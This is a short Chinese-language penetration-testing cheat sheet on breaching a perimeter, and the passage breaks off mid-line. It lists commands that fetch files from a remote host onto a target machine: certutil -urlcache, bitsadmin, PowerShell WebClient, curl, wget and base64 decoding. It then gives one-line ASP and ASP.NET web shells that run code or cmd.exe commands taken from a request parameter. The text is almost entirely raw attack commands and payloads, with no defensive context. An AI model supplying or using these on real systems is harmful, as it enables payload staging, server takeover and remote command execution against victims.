渗透测试里的边界突破

Http

php -S 0.0.0.0:8000
python2 -m SimpleHTTPServer
python3 -m http.server 8000

Shell

Curl

curl http://example.com/File -o File

Shell

Wget

wget http://example.com/File -O File

Shell

Certutil

echo Base64 > Temp && certutil -f -decode Temp File
certutil -urlcache -split -f http://example.com/File File
certutil -urlcache -split -f http://example.com/File delete

Shell

Bitsadmin

bitsadmin /transfer job http://example.com/File C:\Users\Public\File

Shell

PowerShell

powershell (New-Object System.Net.WebClient).DownloadFile('http://example.com/File','File')
powershell [IO.File]::WriteAllBytes('C:\Users\Public\File',[Convert]::FromBase64String('Base64'))

PowerShell

WebShell

ASP

• 代码执行

<% Eval request("code") %>
<% Execute request("code") %>
<% ExecuteGlobal(request("code")) %>

ASPNet

• 命令执行

<%= Server.CreateObject("WScript.Shell").exec("cmd.exe /c "&request("cmd&